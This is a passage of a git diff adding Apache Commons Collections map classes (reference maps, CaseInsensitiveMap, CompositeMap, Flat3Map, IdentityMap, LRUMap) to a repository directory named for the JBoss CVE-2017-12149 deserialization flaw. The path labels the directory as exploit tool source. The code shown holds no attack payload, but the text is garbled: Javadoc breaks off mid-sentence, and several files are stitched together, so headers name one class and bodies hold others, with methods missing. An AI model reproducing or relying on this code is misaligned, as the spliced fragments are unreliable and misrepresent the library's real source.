+ protected Iterator createValuesIterator() {
+ return new ReferenceValuesIterator(this);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * EntrySet implementation.
+ */
+ static class ReferenceEntrySet extends EntrySet {
+
+ protected ReferenceEntrySet(AbstractHashedMap parent) {
+ super(parent);
+ }
+
+ public Object[] toArray() {
+ return toArray(new Object[0]);
+ }
+
+ public Object[] toArray(Object[] arr) {
+ // special implementation to handle disappearing entries
+ ArrayList list = new ArrayList();
+ Iterator iterator = iterator();
+ while (iterator.hasNext()) {
+ Entry e = (Entry) iterator.next();
+ list.add(new DefaultMapEntry(e.getKey(), e.getValue()));
+ }
+ return list.toArray(arr);
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * KeySet implementation.
+ */
+ static class ReferenceKeySet extends KeySet {
+
+ protected ReferenceKeySet(AbstractHashedMap parent) {
+ super(parent);
+ }
+
+ public Object[] toArray() {
+ return toArray(new Object[0]);
+ }
+
+ public Object[] toArray(Object[] arr) {
+ // special implementation to handle disappearing keys
+ List list = new ArrayList(parent.size());
+ for (Iterator it = iterator(); it.hasNext(); ) {
+ list.add(it.next());
+ }
+ return list.toArray(arr);
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Values implementation.
+ */
+ static class ReferenceValues extends Values {
+
+ protected ReferenceValues(AbstractHashedMap parent) {
+ super(parent);
+ }
+
+ public Object[] toArray() {
+ return toArray(new Object[0]);
+ }
+
+ public Object[] toArray(Object[] arr) {
+ // special implementation to handle disappearing values
+ List list = new ArrayList(parent.size());
+ for (Iterator it = iterator(); it.hasNext(); ) {
+ list.add(it.next());
+ }
+ return list.toArray(arr);
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * A MapEntry implementation for the map.
+ * isEqualKey
and
+ * isEqualValue
on the main map for comparison.
+ *
+ * @param obj the other map entry to compare to
+ * @return true if equal, false if not
+ */
+ public boolean equals(Object obj) {
+ if (obj == this) {
+ return true;
+ }
+ if (obj instanceof Map.Entry == false) {
+ return false;
+ }
+
+ Map.Entry entry = (Map.Entry)obj;
+ Object entryKey = entry.getKey(); // convert to hard reference
+ Object entryValue = entry.getValue(); // convert to hard reference
+ if ((entryKey == null) || (entryValue == null)) {
+ return false;
+ }
+ // compare using map methods, aiding identity subclass
+ // note that key is direct access and value is via method
+ return parent.isEqualKey(entryKey, key) &&
+ parent.isEqualValue(entryValue, getValue());
+ }
+
+ /**
+ * Gets the hashcode of the entry using temporary hard references.
+ * hashEntry
on the main map.
+ *
+ * @return the hashcode of the entry
+ */
+ public int hashCode() {
+ return parent.hashEntry(getKey(), getValue());
+ }
+
+ /**
+ * Constructs a reference of the given type to the given referent.
+ * The reference is registered with the queue for later purging.
+ *
+ * @param type HARD, SOFT or WEAK
+ * @param referent the object to refer to
+ * @param hash the hash code of the key of the mapping;
+ * this number might be different from referent.hashCode() if
+ * the referent represents a value and not a key
+ */
+ protected Object toReference(int type, Object referent, int hash) {
+ switch (type) {
+ case HARD: return referent;
+ case SOFT: return new SoftRef(hash, referent, parent.queue);
+ case WEAK: return new WeakRef(hash, referent, parent.queue);
+ default: throw new Error();
+ }
+ }
+
+ /**
+ * Purges the specified reference
+ * @param ref the reference to purge
+ * @return true or false
+ */
+ boolean purge(Reference ref) {
+ boolean r = (parent.keyType > HARD) && (key == ref);
+ r = r || ((parent.valueType > HARD) && (value == ref));
+ if (r) {
+ if (parent.keyType > HARD) {
+ ((Reference)key).clear();
+ }
+ if (parent.valueType > HARD) {
+ ((Reference)value).clear();
+ } else if (parent.purgeValues) {
+ value = null;
+ }
+ }
+ return r;
+ }
+
+ /**
+ * Gets the next entry in the bucket.
+ *
+ * @return the next entry in the bucket
+ */
+ protected ReferenceEntry next() {
+ return (ReferenceEntry) next;
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * The EntrySet iterator.
+ */
+ static class ReferenceEntrySetIterator implements Iterator {
+ /** The parent map */
+ final AbstractReferenceMap parent;
+
+ // These fields keep track of where we are in the table.
+ int index;
+ ReferenceEntry entry;
+ ReferenceEntry previous;
+
+ // These Object fields provide hard references to the
+ // current and next entry; this assures that if hasNext()
+ // returns true, next() will actually return a valid element.
+ Object nextKey, nextValue;
+ Object currentKey, currentValue;
+
+ int expectedModCount;
+
+ public ReferenceEntrySetIterator(AbstractReferenceMap parent) {
+ super();
+ this.parent = parent;
+ index = (parent.size() != 0 ? parent.data.length : 0);
+ // have to do this here! size() invocation above
+ // may have altered the modCount.
+ expectedModCount = parent.modCount;
+ }
+
+ public boolean hasNext() {
+ checkMod();
+ while (nextNull()) {
+ ReferenceEntry e = entry;
+ int i = index;
+ while ((e == null) && (i > 0)) {
+ i--;
+ e = (ReferenceEntry) parent.data[i];
+ }
+ entry = e;
+ index = i;
+ if (e == null) {
+ currentKey = null;
+ currentValue = null;
+ return false;
+ }
+ nextKey = e.getKey();
+ nextValue = e.getValue();
+ if (nextNull()) {
+ entry = entry.next();
+ }
+ }
+ return true;
+ }
+
+ private void checkMod() {
+ if (parent.modCount != expectedModCount) {
+ throw new ConcurrentModificationException();
+ }
+ }
+
+ private boolean nextNull() {
+ return (nextKey == null) || (nextValue == null);
+ }
+
+ protected ReferenceEntry nextEntry() {
+ checkMod();
+ if (nextNull() && !hasNext()) {
+ throw new NoSuchElementException();
+ }
+ previous = entry;
+ entry = entry.next();
+ currentKey = nextKey;
+ currentValue = nextValue;
+ nextKey = null;
+ nextValue = null;
+ return previous;
+ }
+
+ protected ReferenceEntry currentEntry() {
+ checkMod();
+ return previous;
+ }
+
+ public Object next() {
+ return nextEntry();
+ }
+
+ public void remove() {
+ checkMod();
+ if (previous == null) {
+ throw new IllegalStateException();
+ }
+ parent.remove(currentKey);
+ previous = null;
+ currentKey = null;
+ currentValue = null;
+ expectedModCount = parent.modCount;
+ }
+ }
+
+ /**
+ * The keySet iterator.
+ */
+ static class ReferenceKeySetIterator extends ReferenceEntrySetIterator {
+
+ ReferenceKeySetIterator(AbstractReferenceMap parent) {
+ super(parent);
+ }
+
+ public Object next() {
+ return nextEntry().getKey();
+ }
+ }
+
+ /**
+ * The values iterator.
+ */
+ static class ReferenceValuesIterator extends ReferenceEntrySetIterator {
+
+ ReferenceValuesIterator(AbstractReferenceMap parent) {
+ super(parent);
+ }
+
+ public Object next() {
+ return nextEntry().getValue();
+ }
+ }
+
+ /**
+ * The MapIterator implementation.
+ */
+ static class ReferenceMapIterator extends ReferenceEntrySetIterator implements MapIterator {
+
+ protected ReferenceMapIterator(AbstractReferenceMap parent) {
+ super(parent);
+ }
+
+ public Object next() {
+ return nextEntry().getKey();
+ }
+
+ public Object getKey() {
+ HashEntry current = currentEntry();
+ if (current == null) {
+ throw new IllegalStateException(AbstractHashedMap.GETKEY_INVALID);
+ }
+ return current.getKey();
+ }
+
+ public Object getValue() {
+ HashEntry current = currentEntry();
+ if (current == null) {
+ throw new IllegalStateException(AbstractHashedMap.GETVALUE_INVALID);
+ }
+ return current.getValue();
+ }
+
+ public Object setValue(Object value) {
+ HashEntry current = currentEntry();
+ if (current == null) {
+ throw new IllegalStateException(AbstractHashedMap.SETVALUE_INVALID);
+ }
+ return current.setValue(value);
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ // These two classes store the hashCode of the key of
+ // of the mapping, so that after they're dequeued a quick
+ // lookup of the bucket in the table can occur.
+
+ /**
+ * A soft reference holder.
+ */
+ static class SoftRef extends SoftReference {
+ /** the hashCode of the key (even if the reference points to a value) */
+ private int hash;
+
+ public SoftRef(int hash, Object r, ReferenceQueue q) {
+ super(r, q);
+ this.hash = hash;
+ }
+
+ public int hashCode() {
+ return hash;
+ }
+ }
+
+ /**
+ * A weak reference holder.
+ */
+ static class WeakRef extends WeakReference {
+ /** the hashCode of the key (even if the reference points to a value) */
+ private int hash;
+
+ public WeakRef(int hash, Object r, ReferenceQueue q) {
+ super(r, q);
+ this.hash = hash;
+ }
+
+ public int hashCode() {
+ return hash;
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Replaces the superclass method to store the state of this class.
+ * put()
method on read can be
+ * affected by subclass state.
+ * writeObject()
of the first serializable subclass.
+ * put()
method on read can be
+ * affected by subclass state.
+ * readObject()
of the first serializable subclass.
+ * put()
or calculateThreshold()
will work correctly.
+ *
+ * @param in the input stream
+ */
+ protected void doReadObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ this.keyType = in.readInt();
+ this.valueType = in.readInt();
+ this.purgeValues = in.readBoolean();
+ this.loadFactor = in.readFloat();
+ int capacity = in.readInt();
+ init();
+ data = new HashEntry[capacity];
+ while (true) {
+ Object key = in.readObject();
+ if (key == null) {
+ break;
+ }
+ Object value = in.readObject();
+ put(key, value);
+ }
+ threshold = calculateThreshold(data.length, loadFactor);
+ // do not call super.doReadObject() as code there doesn't work for reference map
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractSortedMapDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractSortedMapDecorator.java"
new file mode 100644
index 0000000..f281b14
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractSortedMapDecorator.java"
@@ -0,0 +1,93 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.util.Comparator;
+import java.util.SortedMap;
+
+/**
+ * Provides a base decorator that enables additional functionality to be added
+ * to a Map via decoration.
+ * Map
.
+ * newKey.toString().toLower()
+ * to the lowercase values in the current KeySet.
+ * keySet()
method returns all lowercase keys, or nulls.
+ *
+ * creates a
+ * Map map = new CaseInsensitiveMap();
+ * map.put("One", "One");
+ * map.put("Two", "Two");
+ * map.put(null, "Three");
+ * map.put("one", "Four");
+ *
CaseInsensitiveMap
with three entries.
+ * map.get(null)
returns "Three"
and map.get("ONE")
+ * returns "Four".
The Set
returned by keySet()
+ * equals {"one", "two", null}.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 01:13:19 $
+ *
+ * @author Commons-Collections team
+ */
+public class CaseInsensitiveMap extends AbstractHashedMap implements Serializable, Cloneable {
+
+ /** Serialisation version */
+ private static final long serialVersionUID = -7074655917369299456L;
+
+ /**
+ * Constructs a new empty map with default size and load factor.
+ */
+ public CaseInsensitiveMap() {
+ super(DEFAULT_CAPACITY, DEFAULT_LOAD_FACTOR, DEFAULT_THRESHOLD);
+ }
+
+ /**
+ * Constructs a new, empty map with the specified initial capacity.
+ *
+ * @param initialCapacity the initial capacity
+ * @throws IllegalArgumentException if the initial capacity is less than one
+ */
+ public CaseInsensitiveMap(int initialCapacity) {
+ super(initialCapacity);
+ }
+
+ /**
+ * Constructs a new, empty map with the specified initial capacity and
+ * load factor.
+ *
+ * @param initialCapacity the initial capacity
+ * @param loadFactor the load factor
+ * @throws IllegalArgumentException if the initial capacity is less than one
+ * @throws IllegalArgumentException if the load factor is less than zero
+ */
+ public CaseInsensitiveMap(int initialCapacity, float loadFactor) {
+ super(initialCapacity, loadFactor);
+ }
+
+ /**
+ * Constructor copying elements from another map.
+ * null
if map is not in the composite
+ */
+ public synchronized Map removeComposited(Map map) {
+ int size = this.composite.length;
+ for (int i = 0; i < size; ++i) {
+ if (this.composite[i].equals(map)) {
+ Map[] temp = new Map[size - 1];
+ System.arraycopy(this.composite, 0, temp, 0, i);
+ System.arraycopy(this.composite, i + 1, temp, i, size - i - 1);
+ this.composite = temp;
+ return map;
+ }
+ }
+ return null;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Calls clear()
on all composited Maps.
+ *
+ * @throws UnsupportedOperationException if any of the composited Maps do not support clear()
+ */
+ public void clear() {
+ for (int i = this.composite.length - 1; i >= 0; --i) {
+ this.composite[i].clear();
+ }
+ }
+
+ /**
+ * Returns true if this map contains a mapping for the specified
+ * key. More formally, returns true if and only if
+ * this map contains at a mapping for a key k such that
+ * (key==null ? k==null : key.equals(k)). (There can be
+ * at most one such mapping.)
+ *
+ * @param key key whose presence in this map is to be tested.
+ * @return true if this map contains a mapping for the specified
+ * key.
+ *
+ * @throws ClassCastException if the key is of an inappropriate type for
+ * this map (optional).
+ * @throws NullPointerException if the key is null and this map
+ * does not not permit null keys (optional).
+ */
+ public boolean containsKey(Object key) {
+ for (int i = this.composite.length - 1; i >= 0; --i) {
+ if (this.composite[i].containsKey(key)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Returns true if this map maps one or more keys to the
+ * specified value. More formally, returns true if and only if
+ * this map contains at least one mapping to a value v such that
+ * (value==null ? v==null : value.equals(v)). This operation
+ * will probably require time linear in the map size for most
+ * implementations of the Map interface.
+ *
+ * @param value value whose presence in this map is to be tested.
+ * @return true if this map maps one or more keys to the
+ * specified value.
+ * @throws ClassCastException if the value is of an inappropriate type for
+ * this map (optional).
+ * @throws NullPointerException if the value is null and this map
+ * does not not permit null values (optional).
+ */
+ public boolean containsValue(Object value) {
+ for (int i = this.composite.length - 1; i >= 0; --i) {
+ if (this.composite[i].containsValue(value)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Returns a set view of the mappings contained in this map. Each element
+ * in the returned set is a Map.Entry
. The set is backed by the
+ * map, so changes to the map are reflected in the set, and vice-versa.
+ * If the map is modified while an iteration over the set is in progress,
+ * the results of the iteration are undefined. The set supports element
+ * removal, which removes the corresponding mapping from the map, via the
+ * Iterator.remove, Set.remove, removeAll,
+ * retainAll and clear operations. It does not support
+ * the add or addAll operations.
+ * CompositeSet
which
+ * composites the entry sets from all of the composited maps.
+ *
+ * @see CompositeSet
+ * @return a set view of the mappings contained in this map.
+ */
+ public Set entrySet() {
+ CompositeSet entries = new CompositeSet();
+ for (int i = this.composite.length - 1; i >= 0; --i) {
+ entries.addComposited(this.composite[i].entrySet());
+ }
+ return entries;
+ }
+
+ /**
+ * Returns the value to which this map maps the specified key. Returns
+ * null if the map contains no mapping for this key. A return
+ * value of null does not necessarily indicate that the
+ * map contains no mapping for the key; it's also possible that the map
+ * explicitly maps the key to null. The containsKey
+ * operation may be used to distinguish these two cases.
+ *
+ * CompositeSet
which
+ * composites the key sets from all of the composited maps.
+ *
+ * @return a set view of the keys contained in this map.
+ */
+ public Set keySet() {
+ CompositeSet keys = new CompositeSet();
+ for (int i = this.composite.length - 1; i >= 0; --i) {
+ keys.addComposited(this.composite[i].keySet());
+ }
+ return keys;
+ }
+
+ /**
+ * Associates the specified value with the specified key in this map
+ * (optional operation). If the map previously contained a mapping for
+ * this key, the old value is replaced by the specified value. (A map
+ * m is said to contain a mapping for a key k if and only
+ * if {@link #containsKey(Object) m.containsKey(k)} would return
+ * true.))
+ *
+ * @param key key with which the specified value is to be associated.
+ * @param value value to be associated with the specified key.
+ * @return previous value associated with specified key, or null
+ * if there was no mapping for key. A null return can
+ * also indicate that the map previously associated null
+ * with the specified key, if the implementation supports
+ * null values.
+ *
+ * @throws UnsupportedOperationException if no MapMutator has been specified
+ * @throws ClassCastException if the class of the specified key or value
+ * prevents it from being stored in this map.
+ * @throws IllegalArgumentException if some aspect of this key or value
+ * prevents it from being stored in this map.
+ * @throws NullPointerException this map does not permit null
+ * keys or values, and the specified key or value is
+ * null.
+ */
+ public Object put(Object key, Object value) {
+ if (this.mutator == null) {
+ throw new UnsupportedOperationException("No mutator specified");
+ }
+ return this.mutator.put(this, this.composite, key, value);
+ }
+
+ /**
+ * Copies all of the mappings from the specified map to this map
+ * (optional operation). The effect of this call is equivalent to that
+ * of calling {@link #put(Object,Object) put(k, v)} on this map once
+ * for each mapping from key k to value v in the
+ * specified map. The behavior of this operation is unspecified if the
+ * specified map is modified while the operation is in progress.
+ *
+ * @param map Mappings to be stored in this map.
+ *
+ * @throws UnsupportedOperationException if the putAll method is
+ * not supported by this map.
+ *
+ * @throws ClassCastException if the class of a key or value in the
+ * specified map prevents it from being stored in this map.
+ *
+ * @throws IllegalArgumentException some aspect of a key or value in the
+ * specified map prevents it from being stored in this map.
+ * @throws NullPointerException the specified map is null, or if
+ * this map does not permit null keys or values, and the
+ * specified map contains null keys or values.
+ */
+ public void putAll(Map map) {
+ if (this.mutator == null) {
+ throw new UnsupportedOperationException("No mutator specified");
+ }
+ this.mutator.putAll(this, this.composite, map);
+ }
+
+ /**
+ * Removes the mapping for this key from this map if it is present
+ * (optional operation). More formally, if this map contains a mapping
+ * from key k to value v such that
+ * (key==null ? k==null : key.equals(k))
, that mapping
+ * is removed. (The map can contain at most one such mapping.)
+ *
+ * Map
to fix the size, preventing add/remove.
+ * SortedMap
to fix the size blocking add/remove.
+ * Map
implementation that stores data in simple fields until
+ * the size is greater than 3.
+ *
+ *
+ * The design uses two distinct modes of operation - flat and delegate.
+ * While the map is size 3 or less, operations map straight onto fields using
+ * switch statements. Once size 4 is reached, the map switches to delegate mode
+ * and only switches back when cleared. In delegate mode, all operations are
+ * forwarded straight to a HashMap resulting in the 5% performance loss.
+ * Flat3Map
if the size is likely to grow beyond 3.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.18 $ $Date: 2004/05/26 21:56:05 $
+ *
+ * @author Stephen Colebourne
+ */
+public class Flat3Map implements IterableMap, Serializable, Cloneable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -6701087419741928296L;
+
+ /** The size of the map, used while in flat mode */
+ private transient int size;
+ /** Hash, used while in flat mode */
+ private transient int hash1;
+ /** Hash, used while in flat mode */
+ private transient int hash2;
+ /** Hash, used while in flat mode */
+ private transient int hash3;
+ /** Key, used while in flat mode */
+ private transient Object key1;
+ /** Key, used while in flat mode */
+ private transient Object key2;
+ /** Key, used while in flat mode */
+ private transient Object key3;
+ /** Value, used while in flat mode */
+ private transient Object value1;
+ /** Value, used while in flat mode */
+ private transient Object value2;
+ /** Value, used while in flat mode */
+ private transient Object value3;
+ /** Map, used while in delegate mode */
+ private transient AbstractHashedMap delegateMap;
+
+ /**
+ * Constructor.
+ */
+ public Flat3Map() {
+ super();
+ }
+
+ /**
+ * Constructor copying elements from another map.
+ *
+ * @param map the map to copy
+ * @throws NullPointerException if the map is null
+ */
+ public Flat3Map(Map map) {
+ super();
+ putAll(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the value mapped to the key specified.
+ *
+ * @param key the key
+ * @return the mapped value, null if no match
+ */
+ public Object get(Object key) {
+ if (delegateMap != null) {
+ return delegateMap.get(key);
+ }
+ if (key == null) {
+ switch (size) {
+ // drop through
+ case 3:
+ if (key3 == null) return value3;
+ case 2:
+ if (key2 == null) return value2;
+ case 1:
+ if (key1 == null) return value1;
+ }
+ } else {
+ if (size > 0) {
+ int hashCode = key.hashCode();
+ switch (size) {
+ // drop through
+ case 3:
+ if (hash3 == hashCode && key.equals(key3)) return value3;
+ case 2:
+ if (hash2 == hashCode && key.equals(key2)) return value2;
+ case 1:
+ if (hash1 == hashCode && key.equals(key1)) return value1;
+ }
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Gets the size of the map.
+ *
+ * @return the size
+ */
+ public int size() {
+ if (delegateMap != null) {
+ return delegateMap.size();
+ }
+ return size;
+ }
+
+ /**
+ * Checks whether the map is currently empty.
+ *
+ * @return true if the map is currently size zero
+ */
+ public boolean isEmpty() {
+ return (size() == 0);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Checks whether the map contains the specified key.
+ *
+ * @param key the key to search for
+ * @return true if the map contains the key
+ */
+ public boolean containsKey(Object key) {
+ if (delegateMap != null) {
+ return delegateMap.containsKey(key);
+ }
+ if (key == null) {
+ switch (size) { // drop through
+ case 3:
+ if (key3 == null) return true;
+ case 2:
+ if (key2 == null) return true;
+ case 1:
+ if (key1 == null) return true;
+ }
+ } else {
+ if (size > 0) {
+ int hashCode = key.hashCode();
+ switch (size) { // drop through
+ case 3:
+ if (hash3 == hashCode && key.equals(key3)) return true;
+ case 2:
+ if (hash2 == hashCode && key.equals(key2)) return true;
+ case 1:
+ if (hash1 == hashCode && key.equals(key1)) return true;
+ }
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Checks whether the map contains the specified value.
+ *
+ * @param value the value to search for
+ * @return true if the map contains the key
+ */
+ public boolean containsValue(Object value) {
+ if (delegateMap != null) {
+ return delegateMap.containsValue(value);
+ }
+ if (value == null) { // drop through
+ switch (size) {
+ case 3:
+ if (value3 == null) return true;
+ case 2:
+ if (value2 == null) return true;
+ case 1:
+ if (value1 == null) return true;
+ }
+ } else {
+ switch (size) { // drop through
+ case 3:
+ if (value.equals(value3)) return true;
+ case 2:
+ if (value.equals(value2)) return true;
+ case 1:
+ if (value.equals(value1)) return true;
+ }
+ }
+ return false;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Puts a key-value mapping into this map.
+ *
+ * @param key the key to add
+ * @param value the value to add
+ * @return the value previously mapped to this key, null if none
+ */
+ public Object put(Object key, Object value) {
+ if (delegateMap != null) {
+ return delegateMap.put(key, value);
+ }
+ // change existing mapping
+ if (key == null) {
+ switch (size) { // drop through
+ case 3:
+ if (key3 == null) {
+ Object old = value3;
+ value3 = value;
+ return old;
+ }
+ case 2:
+ if (key2 == null) {
+ Object old = value2;
+ value2 = value;
+ return old;
+ }
+ case 1:
+ if (key1 == null) {
+ Object old = value1;
+ value1 = value;
+ return old;
+ }
+ }
+ } else {
+ if (size > 0) {
+ int hashCode = key.hashCode();
+ switch (size) { // drop through
+ case 3:
+ if (hash3 == hashCode && key.equals(key3)) {
+ Object old = value3;
+ value3 = value;
+ return old;
+ }
+ case 2:
+ if (hash2 == hashCode && key.equals(key2)) {
+ Object old = value2;
+ value2 = value;
+ return old;
+ }
+ case 1:
+ if (hash1 == hashCode && key.equals(key1)) {
+ Object old = value1;
+ value1 = value;
+ return old;
+ }
+ }
+ }
+ }
+
+ // add new mapping
+ switch (size) {
+ default:
+ convertToMap();
+ delegateMap.put(key, value);
+ return null;
+ case 2:
+ hash3 = (key == null ? 0 : key.hashCode());
+ key3 = key;
+ value3 = value;
+ break;
+ case 1:
+ hash2 = (key == null ? 0 : key.hashCode());
+ key2 = key;
+ value2 = value;
+ break;
+ case 0:
+ hash1 = (key == null ? 0 : key.hashCode());
+ key1 = key;
+ value1 = value;
+ break;
+ }
+ size++;
+ return null;
+ }
+
+ /**
+ * Puts all the values from the specified map into this map.
+ *
+ * @param map the map to add
+ * @throws NullPointerException if the map is null
+ */
+ public void putAll(Map map) {
+ int size = map.size();
+ if (size == 0) {
+ return;
+ }
+ if (delegateMap != null) {
+ delegateMap.putAll(map);
+ return;
+ }
+ if (size < 4) {
+ for (Iterator it = map.entrySet().iterator(); it.hasNext();) {
+ Map.Entry entry = (Map.Entry) it.next();
+ put(entry.getKey(), entry.getValue());
+ }
+ } else {
+ convertToMap();
+ delegateMap.putAll(map);
+ }
+ }
+
+ /**
+ * Converts the flat map data to a map.
+ */
+ private void convertToMap() {
+ delegateMap = createDelegateMap();
+ switch (size) { // drop through
+ case 3:
+ delegateMap.put(key3, value3);
+ case 2:
+ delegateMap.put(key2, value2);
+ case 1:
+ delegateMap.put(key1, value1);
+ }
+
+ size = 0;
+ hash1 = hash2 = hash3 = 0;
+ key1 = key2 = key3 = null;
+ value1 = value2 = value3 = null;
+ }
+
+ /**
+ * Create an instance of the map used for storage when in delegation mode.
+ * Map
implementation that is a general purpose alternative
+ * to HashMap
.
+ * Map
implementation that matches keys and values based
+ * on ==
not equals()
.
+ * ==
.
+ *
+ * @param key1 the first key to compare
+ * @param key2 the second key to compare
+ * @return true if equal by identity
+ */
+ protected boolean isEqualKey(Object key1, Object key2) {
+ return (key1 == key2);
+ }
+
+ /**
+ * Compares two values for equals.
+ * This implementation uses ==
.
+ *
+ * @param value1 the first value to compare
+ * @param value2 the second value to compare
+ * @return true if equal by identity
+ */
+ protected boolean isEqualValue(Object value1, Object value2) {
+ return (value1 == value2);
+ }
+
+ /**
+ * Creates an entry to store the data.
+ * This implementation creates an IdentityEntry instance.
+ *
+ * @param next the next entry in sequence
+ * @param hashCode the hash code to use
+ * @param key the key to store
+ * @param value the value to store
+ * @return the newly created entry
+ */
+ protected HashEntry createEntry(HashEntry next, int hashCode, Object key, Object value) {
+ return new IdentityEntry(next, hashCode, key, value);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * HashEntry
+ */
+ protected static class IdentityEntry extends HashEntry {
+
+ protected IdentityEntry(HashEntry next, int hashCode, Object key, Object value) {
+ super(next, hashCode, key, value);
+ }
+
+ public boolean equals(Object obj) {
+ if (obj == this) {
+ return true;
+ }
+ if (obj instanceof Map.Entry == false) {
+ return false;
+ }
+ Map.Entry other = (Map.Entry) obj;
+ return
+ (getKey() == other.getKey()) &&
+ (getValue() == other.getValue());
+ }
+
+ public int hashCode() {
+ return System.identityHashCode(getKey()) ^
+ System.identityHashCode(getValue());
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Clones the map without cloning the keys or values.
+ *
+ * @return a shallow clone
+ */
+ public Object clone() {
+ return super.clone();
+ }
+
+ /**
+ * Write the map out using a custom routine.
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ doWriteObject(out);
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ doReadObject(in);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LRUMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LRUMap.java"
new file mode 100644
index 0000000..c72ec02
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LRUMap.java"
@@ -0,0 +1,391 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Map;
+
+import org.apache.commons.collections.BoundedMap;
+
+/**
+ * A Map
implementation with a fixed maximum size which removes
+ * the least recently used entry if an entry is added when full.
+ * OrderedMap
and entries may be queried using
+ * the bidirectional OrderedMapIterator
. The order returned is
+ * least recently used to most recently used. Iterators from map views can
+ * also be cast to OrderedIterator
if required.
+ * ResettableIterator
and calling reset()
.
+ *
+ * @since Commons Collections 3.0 (previously in main package v1.0)
+ * @version $Revision: 1.14 $ $Date: 2004/06/07 22:13:53 $
+ *
+ * @author James Strachan
+ * @author Morgan Delagrange
+ * @author Stephen Colebourne
+ * @author Mike Pettypiece
+ * @author Mario Ivankovits
+ */
+public class LRUMap
+ extends AbstractLinkedMap implements BoundedMap, Serializable, Cloneable {
+
+ /** Serialisation version */
+ static final long serialVersionUID = -612114643488955218L;
+ /** Default maximum size */
+ protected static final int DEFAULT_MAX_SIZE = 100;
+
+ /** Maximum size */
+ private transient int maxSize;
+ /** Scan behaviour */
+ private boolean scanUntilRemovable;
+
+ /**
+ * Constructs a new empty map with a maximum size of 100.
+ */
+ public LRUMap() {
+ this(DEFAULT_MAX_SIZE, DEFAULT_LOAD_FACTOR, false);
+ }
+
+ /**
+ * Constructs a new, empty map with the specified maximum size.
+ *
+ * @param maxSize the maximum size of the map
+ * @throws IllegalArgumentException if the maximum size is less than one
+ */
+ public LRUMap(int maxSize) {
+ this(maxSize, DEFAULT_LOAD_FACTOR);
+ }
+
+ /**
+ * Constructs a new, empty map with the specified maximum size.
+ *
+ * @param maxSize the maximum size of the map
+ * @param scanUntilRemovable scan until a removeable entry is found, default false
+ * @throws IllegalArgumentException if the maximum size is less than one
+ * @since Commons Collections 3.1
+ */
+ public LRUMap(int maxSize, boolean scanUntilRemovable) {
+ this(maxSize, DEFAULT_LOAD_FACTOR, scanUntilRemovable);
+ }
+
+ /**
+ * Constructs a new, empty map with the specified initial capacity and
+ * load factor.
+ *
+ * @param maxSize the maximum size of the map, -1 for no limit,
+ * @param loadFactor the load factor
+ * @throws IllegalArgumentException if the maximum size is less than one
+ * @throws IllegalArgumentException if the load factor is less than zero
+ */
+ public LRUMap(int maxSize, float loadFactor) {
+ this(maxSize, loadFactor, false);
+ }
+
+ /**
